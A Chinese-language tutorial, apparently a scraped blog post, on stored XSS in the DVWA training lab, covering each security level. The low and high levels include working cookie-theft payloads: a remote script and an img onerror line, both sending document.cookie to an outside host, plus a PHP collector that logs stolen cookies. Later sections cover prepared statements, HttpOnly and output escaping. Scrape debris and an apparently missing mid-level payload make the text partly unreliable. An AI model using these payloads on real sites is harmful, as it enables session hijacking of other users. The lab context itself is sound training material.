DVWA 黑客攻防演練(十一) 存儲型 XSS 攻擊 Stored Cross Site Scripting

上一篇文章會介紹了反射型 XSS 攻擊。本文主要是經過 dvwa 介紹存儲型 XSS 攻擊。存儲型 XSS 攻擊影響範圍極大。好比是微博、貼吧之類的,如有注入漏洞,再假如攻擊者能用上一篇文章相似的代碼獲取用戶的 cookies,想一想若是代碼中再加入自動轉發功能,每一個看過那條微博的用戶都會被偷 cookies 和自動轉發!像網絡病毒同樣的傳播速度啊!恐怖如斯!javascript

低級

功能很簡單。點擊提交就會有相應的文字。 此時,Hacker 在裏面輸入 <script>alert(1)</script>php

也就是有注入漏洞了。因而 Hacker 再輸入了 <script src="//www.a.com/test.js"></script>html

//test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而後全部看到這條信息的用戶的 cookies 就會被偷走了。 而低級的代碼是這樣的,沒有作任何的防禦前端

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}
?>

中級

中級代碼,會意識到這個問題 因此會對 message 進行處理java

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

然而百密一疏,name 字段只有去掉 script 字符串 和用mysql_real_escape_string函數進行轉義
全部能夠利用 name 字段注入mysql

Hacker 輸入在 Name 字段輸入 前端那裏有個字符長度的限制。你能夠用火狐直接將 maxlength 改大,或者用 brupSuite 的改就能夠了。 因此這代碼最後仍是能夠被注入的。sql

高級

高級代碼 對 name 的驗證有所改變。後端

<?php
  //...

  // Sanitize name input
  $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
  $name = mysql_real_escape_string( $name );

  //...
?>

若是看過上一篇文章,應該會了解。這樣的代碼能夠用 img 等元素繞過的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)"> 要改下 www.a.com/index.php 由於本來只是記錄 cookies 到文件中,不返回圖片的。這段注入代碼執行後會不斷地發請求的。因此改爲返回一張圖片就能夠了。好比瀏覽器

<?php
$name = 'gakki.jpg';
$fp = fopen($name, 'rb');

header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

fpassthru($fp);
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

結果以下
cookie

沉迷我老婆美色的時候,cookie 就被偷走了

不可能

不可能級別有

  • anti-token 機制防 CSRF 攻擊
  • 使用 db->prepare  預編譯,綁定參數的方式,防 SQL 攻擊
  • name 和 message 參數經過 htmlspecialchars 等函數防護
<?php
    
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );
    
    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );
    
    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
    
// Generate Anti-CSRF token
generateSessionToken();
    
?>

防護 XSS 攻擊

下面是防護 XSS 攻擊的措施

  • 參數校驗,好比中高級的若是 name 參數後端也判斷了長度不能超過 10。 攻擊者注入的難度的增大不少了。好比百度網盤這個案例
  • 後端可使用 HttpOnly 的方式,以前的攻擊手段基本會用 document.cookies 就能獲取當前網頁的 cookie 了。 好比這樣
<?php
    header("Set-Cookie: cookie1=test1");
    header("Set-Cookie: cookie2=test2;httponly",false)
?>
<script>
    alert(document.cookie);
</script>

只會把 cookie1=test1 彈窗。就算有漏洞也能夠減小損失

  • 輸出的檢查,好比 php 中 htmlspecialchars 函數。
相關文章
相關標籤/搜索